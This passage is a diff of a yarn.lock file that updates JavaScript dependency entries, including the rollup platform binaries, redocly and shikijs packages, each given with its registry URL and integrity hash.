+  integrity sha512-FA+nTU8p6OcSH4tLDY5JilGYr1bVWHpNmcLr7xmMEdbWmKHa+3QZ+DqefrXKmdjO/brHTnQZo20lLSjaO7ydog==
+  dependencies:
+    kleur "^4.1.5"
+
+"@poppinss/dumper@^0.6.2":
+  version "0.6.2"
+  resolved "https://registry.yarnpkg.com/@poppinss/dumper/-/dumper-0.6.2.tgz#64a5cf47de6e9b3fd159462fe7c5321521767de9"
+  integrity sha512-FhE9rY15aZ6Qp6ltQ0NZjseVRhwgWZ7+sg16343FqnjdUQvvBBi5eSeH/aZA4LF1ZOV5779DYrJXTHT42JlHNg==
+  dependencies:
+    "@poppinss/colors" "^4.1.4"
+    "@sindresorhus/is" "^7.0.1"
+    supports-color "^10.0.0"
+
+"@poppinss/exception@^1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@poppinss/exception/-/exception-1.2.0.tgz#e61f937a426883d851381f2b3e5b8e2976ae8b1c"
+  integrity sha512-WLneXKQYNClhaMXccO111VQmZahSrcSRDaHRbV6KL5R4pTvK87fMn/MXLUcvOjk0X5dTHDPKF61tM7j826wrjQ==
+
 "@redocly/ajv@^8.11.2":
   version "8.11.2"
   resolved "https://registry.yarnpkg.com/@redocly/ajv/-/ajv-8.11.2.tgz#46e1bf321ec0ac1e0fd31dea41a3d1fcbdcda0b5"
@@ -2029,18 +2068,18 @@
     require-from-string "^2.0.2"
     uri-js-replace "^1.0.1"
 
-"@redocly/config@^0.21.0":
-  version "0.21.0"
-  resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.21.0.tgz#beb6a82f30e0ea2c164283138dd93aa82fc4ba7f"
-  integrity sha512-JBtrrjBIURTnzb7KUIWOF46vSgpfC3rO6Mm8LjtRjtTNCLTyB+mOuU7HrTkVcvUCEBuSuzkivlTHMWT4JETz9A==
+"@redocly/config@^0.22.0":
+  version "0.22.0"
+  resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.22.0.tgz#b2454f472f9d2b217d56f82e4f28d346901f3242"
+  integrity sha512-gAy93Ddo01Z3bHuVdPWfCwzgfaYgMdaZPcfL7JZ7hWJoK9V0lXDbigTWkhiPFAaLWzbOJ+kbUQG1+XwIm0KRGQ==
 
 "@redocly/openapi-core@^1.28.0":
-  version "1.31.2"
-  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.31.2.tgz#dad99f76cec0cfc65062a80f560cc748f779ed9e"
-  integrity sha512-HScpiSuluLic9+QpsI2JWaegeDuRn3hximPBpiUpy4WdXf74Ev094kpUgjhiD3xDuP/KpVdchooAkLnzQ0X+vg==
+  version "1.33.0"
+  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.33.0.tgz#f9b0668055d31894f04c79a734f85cd2c41e870c"
+  integrity sha512-MUB1jPxYX2NmgiobICcvyrkSbPSaGAb/P/MsxSW+UT9hxpQvDCX81bstGg68BcKIdeFvVRKcoyG4xiTgDOEBfQ==
   dependencies:
     "@redocly/ajv" "^8.11.2"
-    "@redocly/config" "^0.21.0"
+    "@redocly/config" "^0.22.0"
     colorette "^1.2.0"
     https-proxy-agent "^7.0.5"
     js-levenshtein "^1.1.6"
@@ -2137,7 +2176,7 @@
   resolved "https://registry.yarnpkg.com/@rollup/plugin-alias/-/plugin-alias-5.1.1.tgz#53601d88cda8b1577aa130b4a6e452283605bf26"
   integrity sha512-PR9zDb+rOzkRb2VD+EuKB7UC41vU5DIwZ5qqCpk0KJudcWAyi8rvYOhS7+L5aZCspw1stTViLgN5v6FF1p5cgQ==
 
-"@rollup/plugin-commonjs@^28.0.1":
+"@rollup/plugin-commonjs@^28.0.2":
   version "28.0.2"
   resolved "https://registry.yarnpkg.com/@rollup/plugin-commonjs/-/plugin-commonjs-28.0.2.tgz#193d7a86470f112b56927c1d821ee45951a819ea"
   integrity sha512-BEFI2EDqzl+vA1rl97IDRZ61AIwGH093d9nz8+dThxJNH8oSoB7MjWvPCX3dkaK1/RCJ/1v/R1XB15FuSs0fQw==
@@ -2166,10 +2205,10 @@
   dependencies:
     "@rollup/pluginutils" "^5.1.0"
 
-"@rollup/plugin-node-resolve@^15.3.0":
-  version "15.3.1"
-  resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-15.3.1.tgz#66008953c2524be786aa319d49e32f2128296a78"
-  integrity sha512-tgg6b91pAybXHJQMAAwW9VuWBO6Thi+q7BCNARLwSqlmsHz0XYURtGvh/AuwSADXSI4h/2uHbs7s4FzlZDGSGA==
+"@rollup/plugin-node-resolve@^16.0.0":
+  version "16.0.0"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-16.0.0.tgz#b1a0594661f40d7b061d82136e847354ff85f211"
+  integrity sha512-0FPvAeVUT/zdWoO0jnb/V5BlBsUSNfkIOtFHzMO4H9MOklrmQFY6FduVHKucNb/aTFxvnGhj4MNj/T1oNdDfNg==
   dependencies:
     "@rollup/pluginutils" "^5.0.1"
     "@types/resolve" "1.20.2"
@@ -2177,7 +2216,7 @@
     is-module "^1.0.0"
     resolve "^1.22.1"
 
-"@rollup/plugin-replace@^6.0.1", "@rollup/plugin-replace@^6.0.2":
+"@rollup/plugin-replace@^6.0.2":
   version "6.0.2"
   resolved "https://registry.yarnpkg.com/@rollup/plugin-replace/-/plugin-replace-6.0.2.tgz#2f565d312d681e4570ff376c55c5c08eb6f1908d"
   integrity sha512-7QaYCf8bqF04dOy7w/eHmJeNExxTYwvKAmlSAH/EaWWUzbT0h5sbF6bktFoX/0F/0qwng5/dWFMyf3gzaM8DsQ==
@@ -2212,100 +2251,100 @@
     estree-walker "^2.0.2"
     picomatch "^4.0.2"
 
-"@rollup/rollup-android-arm-eabi@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.8.tgz#731df27dfdb77189547bcef96ada7bf166bbb2fb"
-  integrity sha512-q217OSE8DTp8AFHuNHXo0Y86e1wtlfVrXiAlwkIvGRQv9zbc6mE3sjIVfwI8sYUyNxwOg0j/Vm1RKM04JcWLJw==
-
-"@rollup/rollup-android-arm64@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.8.tgz#4bea6db78e1f6927405df7fe0faf2f5095e01343"
-  integrity sha512-Gigjz7mNWaOL9wCggvoK3jEIUUbGul656opstjaUSGC3eT0BM7PofdAJaBfPFWWkXNVAXbaQtC99OCg4sJv70Q==
-
-"@rollup/rollup-darwin-arm64@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.8.tgz#a7aab77d44be3c44a20f946e10160f84e5450e7f"
-  integrity sha512-02rVdZ5tgdUNRxIUrFdcMBZQoaPMrxtwSb+/hOfBdqkatYHR3lZ2A2EGyHq2sGOd0Owk80oV3snlDASC24He3Q==
-
-"@rollup/rollup-darwin-x64@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.8.tgz#c572c024b57ee8ddd1b0851703ace9eb6cc0dd82"
-  integrity sha512-qIP/elwR/tq/dYRx3lgwK31jkZvMiD6qUtOycLhTzCvrjbZ3LjQnEM9rNhSGpbLXVJYQ3rq39A6Re0h9tU2ynw==
-
-"@rollup/rollup-freebsd-arm64@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.8.tgz#cf74f8113b5a83098a5c026c165742277cbfb88b"
-  integrity sha512-IQNVXL9iY6NniYbTaOKdrlVP3XIqazBgJOVkddzJlqnCpRi/yAeSOa8PLcECFSQochzqApIOE1GHNu3pCz+BDA==
-
-"@rollup/rollup-freebsd-x64@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.8.tgz#39561f3a2f201a4ad6a01425b1ff5928154ecd7c"
-  integrity sha512-TYXcHghgnCqYFiE3FT5QwXtOZqDj5GmaFNTNt3jNC+vh22dc/ukG2cG+pi75QO4kACohZzidsq7yKTKwq/Jq7Q==
-
-"@rollup/rollup-linux-arm-gnueabihf@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.8.tgz#980d6061e373bfdaeb67925c46d2f8f9b3de537f"
-  integrity sha512-A4iphFGNkWRd+5m3VIGuqHnG3MVnqKe7Al57u9mwgbyZ2/xF9Jio72MaY7xxh+Y87VAHmGQr73qoKL9HPbXj1g==
-
-"@rollup/rollup-linux-arm-musleabihf@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.8.tgz#f91a90f30dc00d5a64ac2d9bbedc829cd3cfaa78"
-  integrity sha512-S0lqKLfTm5u+QTxlFiAnb2J/2dgQqRy/XvziPtDd1rKZFXHTyYLoVL58M/XFwDI01AQCDIevGLbQrMAtdyanpA==
-
-"@rollup/rollup-linux-arm64-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.8.tgz#fac700fa5c38bc13a0d5d34463133093da4c92a0"
-  integrity sha512-jpz9YOuPiSkL4G4pqKrus0pn9aYwpImGkosRKwNi+sJSkz+WU3anZe6hi73StLOQdfXYXC7hUfsQlTnjMd3s1A==
-
-"@rollup/rollup-linux-arm64-musl@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.8.tgz#f50ecccf8c78841ff6df1706bc4782d7f62bf9c3"
-  integrity sha512-KdSfaROOUJXgTVxJNAZ3KwkRc5nggDk+06P6lgi1HLv1hskgvxHUKZ4xtwHkVYJ1Rep4GNo+uEfycCRRxht7+Q==
-
-"@rollup/rollup-linux-loongarch64-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.8.tgz#5869dc0b28242da6553e2b52af41374f4038cd6e"
-  integrity sha512-NyF4gcxwkMFRjgXBM6g2lkT58OWztZvw5KkV2K0qqSnUEqCVcqdh2jN4gQrTn/YUpAcNKyFHfoOZEer9nwo6uQ==
-
-"@rollup/rollup-linux-powerpc64le-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.8.tgz#5cdd9f851ce1bea33d6844a69f9574de335f20b1"
-  integrity sha512-LMJc999GkhGvktHU85zNTDImZVUCJ1z/MbAJTnviiWmmjyckP5aQsHtcujMjpNdMZPT2rQEDBlJfubhs3jsMfw==
-
-"@rollup/rollup-linux-riscv64-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.8.tgz#ef5dc37f4388f5253f0def43e1440ec012af204d"
-  integrity sha512-xAQCAHPj8nJq1PI3z8CIZzXuXCstquz7cIOL73HHdXiRcKk8Ywwqtx2wrIy23EcTn4aZ2fLJNBB8d0tQENPCmw==
-
-"@rollup/rollup-linux-s390x-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.8.tgz#7dbc3ccbcbcfb3e65be74538dfb6e8dd16178fde"
-  integrity sha512-DdePVk1NDEuc3fOe3dPPTb+rjMtuFw89gw6gVWxQFAuEqqSdDKnrwzZHrUYdac7A7dXl9Q2Vflxpme15gUWQFA==
-
-"@rollup/rollup-linux-x64-gnu@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.8.tgz#5783fc0adcab7dc069692056e8ca8d83709855ce"
-  integrity sha512-8y7ED8gjxITUltTUEJLQdgpbPh1sUQ0kMTmufRF/Ns5tI9TNMNlhWtmPKKHCU0SilX+3MJkZ0zERYYGIVBYHIA==
-
-"@rollup/rollup-linux-x64-musl@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.8.tgz#00b6c29b298197a384e3c659910b47943003a678"
-  integrity sha512-SCXcP0ZpGFIe7Ge+McxY5zKxiEI5ra+GT3QRxL0pMMtxPfpyLAKleZODi1zdRHkz5/BhueUrYtYVgubqe9JBNQ==
-
-"@rollup/rollup-win32-arm64-msvc@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.8.tgz#cbfee01f1fe73791c35191a05397838520ca3cdd"
-  integrity sha512-YHYsgzZgFJzTRbth4h7Or0m5O74Yda+hLin0irAIobkLQFRQd1qWmnoVfwmKm9TXIZVAD0nZ+GEb2ICicLyCnQ==
-
-"@rollup/rollup-win32-ia32-msvc@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.8.tgz#95cdbdff48fe6c948abcf6a1d500b2bd5ce33f62"
-  integrity sha512-r3NRQrXkHr4uWy5TOjTpTYojR9XmF0j/RYgKCef+Ag46FWUTltm5ziticv8LdNsDMehjJ543x/+TJAek/xBA2w==
-
-"@rollup/rollup-win32-x64-msvc@4.34.8":
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.8.tgz#4cdb2cfae69cdb7b1a3cc58778e820408075e928"
-  integrity sha512-U0FaE5O1BCpZSeE6gBl3c5ObhePQSfk9vDRToMmTkbhCOgW4jqvtS5LGyQ76L1fH8sM0keRp4uDTsbjiUyjk0g==
+"@rollup/rollup-android-arm-eabi@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.9.tgz#661a45a4709c70e59e596ec78daa9cb8b8d27604"
+  integrity sha512-qZdlImWXur0CFakn2BJ2znJOdqYZKiedEPEVNTBrpfPjc/YuTGcaYZcdmNFTkUj3DU0ZM/AElcM8Ybww3xVLzA==
+
+"@rollup/rollup-android-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.9.tgz#128fe8dd510d880cf98b4cb6c7add326815a0c4b"
+  integrity sha512-4KW7P53h6HtJf5Y608T1ISKvNIYLWRKMvfnG0c44M6In4DQVU58HZFEVhWINDZKp7FZps98G3gxwC1sb0wXUUg==
+
+"@rollup/rollup-darwin-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.9.tgz#363467bc49fd0b1e17075798ac8e9ad1e1e29535"
+  integrity sha512-0CY3/K54slrzLDjOA7TOjN1NuLKERBgk9nY5V34mhmuu673YNb+7ghaDUs6N0ujXR7fz5XaS5Aa6d2TNxZd0OQ==
+
+"@rollup/rollup-darwin-x64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.9.tgz#c2fe3d85fffe47f0ed0f076b3563ada22c8af19c"
+  integrity sha512-eOojSEAi/acnsJVYRxnMkPFqcxSMFfrw7r2iD9Q32SGkb/Q9FpUY1UlAu1DH9T7j++gZ0lHjnm4OyH2vCI7l7Q==
+
+"@rollup/rollup-freebsd-arm64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.9.tgz#d95bd8f6eaaf829781144fc8bd2d5d71d9f6a9f5"
+  integrity sha512-2lzjQPJbN5UnHm7bHIUKFMulGTQwdvOkouJDpPysJS+QFBGDJqcfh+CxxtG23Ik/9tEvnebQiylYoazFMAgrYw==
+
+"@rollup/rollup-freebsd-x64@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.9.tgz#c3576c6011656e4966ded29f051edec636b44564"
+  integrity sha512-SLl0hi2Ah2H7xQYd6Qaiu01kFPzQ+hqvdYSoOtHYg/zCIFs6t8sV95kaoqjzjFwuYQLtOI0RZre/Ke0nPaQV+g==
+
+"@rollup/rollup-linux-arm-gnueabihf@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.9.tgz#48c87d0dee4f8dc9591a416717f91b4a89d77e3d"
+  integrity sha512-88I+D3TeKItrw+Y/2ud4Tw0+3CxQ2kLgu3QvrogZ0OfkmX/DEppehus7L3TS2Q4lpB+hYyxhkQiYPJ6Mf5/dPg==
+
+"@rollup/rollup-linux-arm-musleabihf@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.9.tgz#f4c4e7c03a7767f2e5aa9d0c5cfbf5c0f59f2d41"
+  integrity sha512-3qyfWljSFHi9zH0KgtEPG4cBXHDFhwD8kwg6xLfHQ0IWuH9crp005GfoUUh/6w9/FWGBwEHg3lxK1iHRN1MFlA==
+
+"@rollup/rollup-linux-arm64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.9.tgz#1015c9d07a99005025d13b8622b7600029d0b52f"
+  integrity sha512-6TZjPHjKZUQKmVKMUowF3ewHxctrRR09eYyvT5eFv8w/fXarEra83A2mHTVJLA5xU91aCNOUnM+DWFMSbQ0Nxw==
+
+"@rollup/rollup-linux-arm64-musl@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.9.tgz#8f895eb5577748fc75af21beae32439626e0a14c"
+  integrity sha512-LD2fytxZJZ6xzOKnMbIpgzFOuIKlxVOpiMAXawsAZ2mHBPEYOnLRK5TTEsID6z4eM23DuO88X0Tq1mErHMVq0A==
+
+"@rollup/rollup-linux-loongarch64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.9.tgz#c9cd5dbbdc6b3ca4dbeeb0337498cf31949004a0"
+  integrity sha512-dRAgTfDsn0TE0HI6cmo13hemKpVHOEyeciGtvlBTkpx/F65kTvShtY/EVyZEIfxFkV5JJTuQ9tP5HGBS0hfxIg==
+
+"@rollup/rollup-linux-powerpc64le-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.9.tgz#7ebb5b4441faa17843a210f7d0583a20c93b40e4"
+  integrity sha512-PHcNOAEhkoMSQtMf+rJofwisZqaU8iQ8EaSps58f5HYll9EAY5BSErCZ8qBDMVbq88h4UxaNPlbrKqfWP8RfJA==
+
+"@rollup/rollup-linux-riscv64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.9.tgz#10f5d7349fbd2fe78f9e36ecc90aab3154435c8d"
+  integrity sha512-Z2i0Uy5G96KBYKjeQFKbbsB54xFOL5/y1P5wNBsbXB8yE+At3oh0DVMjQVzCJRJSfReiB2tX8T6HUFZ2k8iaKg==
+
+"@rollup/rollup-linux-s390x-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.9.tgz#196347d2fa20593ab09d0b7e2589fb69bdf742c6"
+  integrity sha512-U+5SwTMoeYXoDzJX5dhDTxRltSrIax8KWwfaaYcynuJw8mT33W7oOgz0a+AaXtGuvhzTr2tVKh5UO8GVANTxyQ==
+
+"@rollup/rollup-linux-x64-gnu@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.9.tgz#7193cbd8d128212b8acda37e01b39d9e96259ef8"
+  integrity sha512-FwBHNSOjUTQLP4MG7y6rR6qbGw4MFeQnIBrMe161QGaQoBQLqSUEKlHIiVgF3g/mb3lxlxzJOpIBhaP+C+KP2A==
+
+"@rollup/rollup-linux-x64-musl@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.9.tgz#29a6867278ca0420b891574cfab98ecad70c59d1"
+  integrity sha512-cYRpV4650z2I3/s6+5/LONkjIz8MBeqrk+vPXV10ORBnshpn8S32bPqQ2Utv39jCiDcO2eJTuSlPXpnvmaIgRA==
+
+"@rollup/rollup-win32-arm64-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.9.tgz#89427dcac0c8e3a6d32b13a03a296a275d0de9a9"
+  integrity sha512-z4mQK9dAN6byRA/vsSgQiPeuO63wdiDxZ9yg9iyX2QTzKuQM7T4xlBoeUP/J8uiFkqxkcWndWi+W7bXdPbt27Q==
+
+"@rollup/rollup-win32-ia32-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.9.tgz#ecb9711ba2b6d2bf6ee51265abe057ab90913deb"
+  integrity sha512-KB48mPtaoHy1AwDNkAJfHXvHp24H0ryZog28spEs0V48l3H1fr4i37tiyHsgKZJnCmvxsbATdZGBpbmxTE3a9w==
+
+"@rollup/rollup-win32-x64-msvc@4.34.9":
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.9.tgz#1973871850856ae72bc678aeb066ab952330e923"
+  integrity sha512-AyleYRPU7+rgkMWbEh71fQlrzRfeP6SyMnRf9XX4fCdDPAJumdSBqYEcWPMzVQ4ScAl7E4oFfK0GUVn77xSwbw==
 
 "@sec-ant/readable-stream@^0.4.1":
   version "0.4.1"
@@ -2400,29 +2439,15 @@
     "@types/hast" "^3.0.4"
     hast-util-to-html "^9.0.3"
 
-"@shikijs/core@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/core/-/core-1.29.2.tgz#9c051d3ac99dd06ae46bd96536380c916e552bf3"
-  integrity sha512-vju0lY9r27jJfOY4Z7+Rt/nIOjzJpZ3y+nYpqtUZInVoXQ/TJZcfGnNOGnKjFdVZb8qexiCuSlZRKcGfhhTTZQ==
-  dependencies:
-    "@shikijs/engine-javascript" "1.29.2"
-    "@shikijs/engine-oniguruma" "1.29.2"
-    "@shikijs/types" "1.29.2"
-    "@shikijs/vscode-textmate" "^10.0.1"
-    "@types/hast" "^3.0.4"
-    hast-util-to-html "^9.0.4"
-
-"@shikijs/core@2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/core/-/core-2.5.0.tgz#e14d33961dfa3141393d4a76fc8923d0d1c4b62f"
-  integrity sha512-uu/8RExTKtavlpH7XqnVYBrfBkUc20ngXiX9NSrBhOVZYv/7XQRKUyhtkeflY5QsxC0GbJThCerruZfsUaSldg==
+"@shikijs/core@3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/core/-/core-3.1.0.tgz#1373d2853b70d7338deaa747404b7c9b1c11a2bf"
+  integrity sha512-1ppAOyg3F18N8Ge9DmJjGqRVswihN33rOgPovR6gUHW17Hw1L4RlRhnmVQcsacSHh0A8IO1FIgNbtTxUFwodmg==
   dependencies:
-    "@shikijs/engine-javascript" "2.5.0"
-    "@shikijs/engine-oniguruma" "2.5.0"
-    "@shikijs/types" "2.5.0"
+    "@shikijs/types" "3.1.0"
     "@shikijs/vscode-textmate" "^10.0.2"
     "@types/hast" "^3.0.4"
-    hast-util-to-html "^9.0.4"
+    hast-util-to-html "^9.0.5"
 
 "@shikijs/engine-javascript@1.22.0":
   version "1.22.0"
@@ -2433,23 +2458,14 @@
     "@shikijs/vscode-textmate" "^9.3.0"
     oniguruma-to-js "0.4.3"
 
-"@shikijs/engine-javascript@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/engine-javascript/-/engine-javascript-1.29.2.tgz#a821ad713a3e0b7798a1926fd9e80116e38a1d64"
-  integrity sha512-iNEZv4IrLYPv64Q6k7EPpOCE/nuvGiKl7zxdq0WFuRPF5PAE9PRo2JGq/d8crLusM59BRemJ4eOqrFrC4wiQ+A==
-  dependencies:
-    "@shikijs/types" "1.29.2"
-    "@shikijs/vscode-textmate" "^10.0.1"
-    oniguruma-to-es "^2.2.0"
-
-"@shikijs/engine-javascript@2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/engine-javascript/-/engine-javascript-2.5.0.tgz#e045c6ecfbda6c99137547b0a482e0b87f1053fc"
-  integrity sha512-VjnOpnQf8WuCEZtNUdjjwGUbtAVKuZkVQ/5cHy/tojVVRIRtlWMYVjyWhxOmIq05AlSOv72z7hRNRGVBgQOl0w==
+"@shikijs/engine-javascript@3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/engine-javascript/-/engine-javascript-3.1.0.tgz#d4d5b36f60dc994ff0e9a8d567b462d2eacef0c5"
+  integrity sha512-/LwkhW17jYi7uPcdaaSQQDNW+xgrHXarkrxYPoC6WPzH2xW5mFMw12doHXJBqxmYvtcTbaatcv2MkH9+3PU1FA==
   dependencies:
-    "@shikijs/types" "2.5.0"
+    "@shikijs/types" "3.1.0"
     "@shikijs/vscode-textmate" "^10.0.2"
-    oniguruma-to-es "^3.1.0"
+    oniguruma-to-es "^3.1.1"
 
 "@shikijs/engine-oniguruma@1.22.0":
   version "1.22.0"
@@ -2459,57 +2475,35 @@
     "@shikijs/types" "1.22.0"
     "@shikijs/vscode-textmate" "^9.3.0"
 
-"@shikijs/engine-oniguruma@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/engine-oniguruma/-/engine-oniguruma-1.29.2.tgz#d879717ced61d44e78feab16f701f6edd75434f1"
-  integrity sha512-7iiOx3SG8+g1MnlzZVDYiaeHe7Ez2Kf2HrJzdmGwkRisT7r4rak0e655AcM/tF9JG/kg5fMNYlLLKglbN7gBqA==
-  dependencies:
-    "@shikijs/types" "1.29.2"
-    "@shikijs/vscode-textmate" "^10.0.1"
-
-"@shikijs/engine-oniguruma@2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/engine-oniguruma/-/engine-oniguruma-2.5.0.tgz#230de5693cc1da6c9d59c7ad83593c2027274817"
-  integrity sha512-pGd1wRATzbo/uatrCIILlAdFVKdxImWJGQ5rFiB5VZi2ve5xj3Ax9jny8QvkaV93btQEwR/rSz5ERFpC5mKNIw==
+"@shikijs/engine-oniguruma@3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/engine-oniguruma/-/engine-oniguruma-3.1.0.tgz#f07e7630480e2f44542af648333665f87128d27e"
+  integrity sha512-reRgy8VzDPdiDocuGDD60Rk/jLxgcgy+6H4n6jYLeN2Yw5ikasRjQQx8ERXtDM35yg2v/d6KolDBcK8hYYhcmw==
   dependencies:
-    "@shikijs/types" "2.5.0"
+    "@shikijs/types" "3.1.0"
     "@shikijs/vscode-textmate" "^10.0.2"
 
-"@shikijs/langs@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/langs/-/langs-1.29.2.tgz#4f1de46fde8991468c5a68fa4a67dd2875d643cd"
-  integrity sha512-FIBA7N3LZ+223U7cJDUYd5shmciFQlYkFXlkKVaHsCPgfVLiO+e12FmQE6Tf9vuyEsFe3dIl8qGWKXgEHL9wmQ==
-  dependencies:
-    "@shikijs/types" "1.29.2"
-
-"@shikijs/langs@2.5.0", "@shikijs/langs@^2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/langs/-/langs-2.5.0.tgz#97ab50c495922cc1ca06e192985b28dc73de5d50"
-  integrity sha512-Qfrrt5OsNH5R+5tJ/3uYBBZv3SuGmnRPejV9IlIbFH3HTGLDlkqgHymAlzklVmKBjAaVmkPkyikAV/sQ1wSL+w==
-  dependencies:
-    "@shikijs/types" "2.5.0"
-
-"@shikijs/themes@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/themes/-/themes-1.29.2.tgz#293cc5c83dd7df3fdc8efa25cec8223f3a6acb0d"
-  integrity sha512-i9TNZlsq4uoyqSbluIcZkmPL9Bfi3djVxRnofUHwvx/h6SRW3cwgBC5SML7vsDcWyukY0eCzVN980rqP6qNl9g==
